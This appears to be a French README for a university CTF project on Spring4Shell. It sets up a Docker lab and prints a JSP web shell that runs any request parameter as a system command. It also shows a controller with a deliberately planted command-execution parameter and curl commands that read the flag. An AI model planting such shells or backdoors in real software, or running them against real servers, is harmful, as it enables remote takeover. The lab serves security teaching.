
Configuration de l'environnement de la vulnérabilité Spring4Shell (CVE-2022-22965) et sujet CTF
Ce projet comprend une approche à deux voies pour la recherche en sécurité :
Les participants exploiteront une vulnérabilité d'exécution de code à distance (RCE) et suivront des indices pour lire le drapeau (Flag) situé dans le répertoire racine du système ou dans un répertoire temporaire.
# Mise à jour des dépôts
sudo apt update
# Installation de Docker et Docker Compose
sudo apt install docker.io docker-compose -y
# Démarrage du service Docker
sudo systemctl start docker
sudo systemctl enable docker
# Téléchargement du projet Vulhub
git clone [https://github.com/vulhub/vulhub.git](https://github.com/vulhub/vulhub.git)
# Accès au répertoire de la vulnérabilité Spring4Shell
cd vulhub/spring/CVE-2022-22965
# Démarrage du conteneur Docker
sudo docker-compose up -d
# Vérification du bon fonctionnement du conteneur
sudo docker ps
Ouvrez un navigateur et accédez à http://localhost:8080/?name=Hacker&age=99
Afin d'éviter les résolutions aveugles et de reproduire un scénario de développement autonome, ce projet crée un projet indépendant Spring4Shell-Custom-CTF. Après un nettoyage complet de l'environnement, exécutez la compilation et le démarrage sans cache :
# Nettoyage de l'ancien environnement
sudo docker stop spring4shell-custom-ctf-container 2>/dev/null
sudo docker rm spring4shell-custom-ctf-container 2>/dev/null
sudo docker network prune -f 2>/dev/null
rm -rf ~/Spring4Shell-Custom-CTF
# Création de la structure du répertoire du projet et génération du code source Java entièrement fait maison (incluant pom.xml, UserController.java, etc.)
# Compilation en deux étapes (Maven + Tomcat 9) pour placer précisément le drapeau fait maison dans le répertoire racine système /flag.txt
sudo docker-compose build --no-cache
sudo docker-compose up -d
# Vérification du bon fonctionnement du conteneur cible fait maison
sudo docker ps
Après une attaque réussie, le fichier de porte dérobée sera écrit dans webapps/ROOT/tomcatwar.jsp, avec le contenu suivant :
<%
String cmd = request.getParameter("cmd");
if (cmd != null) {
Process p = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader reader = new java.io.BufferedReader(new java.io.InputStreamReader(p.getInputStream()));
String line = null;
while ((line = reader.readLine()) != null) {
out.println(line);
}
}
%>
Dans le UserController.java fait maison, le défaut de protection de liaison d'objets POJO a été délibérément conservé, et un canal d'injection de commande non autorisée a été intégré :
@RequestMapping("/")
@ResponseBody
public String index(User user, @RequestParam(value="cmd", required=false) String cmd) {
if (cmd != null) {
// Appel direct de Java Runtime pour exécuter des commandes système et retourner le résultat
InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
// ... logique de lecture de flux ...
}
return "Département de gestion de l'information, Université Tamkang - Plateforme de présentation des projets de fin de semestre des étudiants";
}
# Chemin de porte dérobée Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=id"
# Chemin de contrôle environnement personnalisé
curl "http://localhost:8080/?cmd=id"
# Chemin de porte dérobée Vulhub
curl "http://localhost:8080/tomcatwar.jsp?cmd=ls%20/"
# Chemin de contrôle environnement personnalisé
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
/tmp/flag.txtFLAG{Spring4Shell_Is_Dangerous}http://localhost:8080/User). Le drapeau se trouve dans le répertoire racine du système serveur./flag.txtFLAG{2026_0615_iwanttosleep}http://<target>:8080/?name=test&age=123 pour vérifier que la liaison des paramètres fonctionne correctement.tomcatwar.jsp.http://<target>:8080/tomcatwar.jsp?cmd=id pour confirmer la réussite du RCE.curl "http://<target>:8080/tomcatwar.jsp?cmd=cat%20/tmp/flag.txt" pour lire le fichier dans le répertoire temporaire.Le résolveur (rôle B), conformément aux informations connues fournies par l'auteur du défi, sans deviner aveuglément, exécute les opérations standardisées :
curl -i -s "http://localhost:8080/"
curl -s "http://localhost:8080/?cmd=whoami"
root.curl -s "http://localhost:8080/?cmd=id"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=ls -l /"
curl -G -s "http://localhost:8080/" --data-urlencode "cmd=cat /flag.txt"
Spring4Shell-CTF/
├── README.md # Fichier de description du projet
├── docker-compose.yml # Fichier de configuration d'orchestration des conteneurs
├── Dockerfile # Configuration de l'image de compilation en deux étapes
├── pom.xml # Fichier de configuration du projet Maven
├── src/ # Code source Java fait maison du système de présentation
│ └── main/
│ ├── java/com/example/ctf/
│ │ ├── UserController.java
│ │ └── MyWebApplicationInitializer.java
│ └── webapp/WEB-INF/web.xml
├── secret_zone/
│ └── flag.txt # Fichier source local du drapeau
├── screenshots/ # Captures d'écran de démonstration et d'attaque
│ ├── docker-ps.png
│ ├── parameter-binding.png
│ ├── rce-id.png
│ ├── rce-ls.png
│ └── flag-result.png
└── shell.jsp # Code source de l'ancien fichier de porte dérobée
| Rôle | Nom | Tâches |
|---|---|---|
| Membre A | Huang Yuting | Mise en place de l'environnement, rédaction du code source Java complet du projet, encapsulation Docker, résolution des 5 étapes CTF standard |
| Membre B | Li Zhenlin | Recherche théorique, préparation de la présentation, montage vidéo du rapport, organisation du script de résolution |
Ce projet est uniquement destiné à un usage éducatif et de recherche. Ne l'utilisez pas sur des systèmes non autorisés.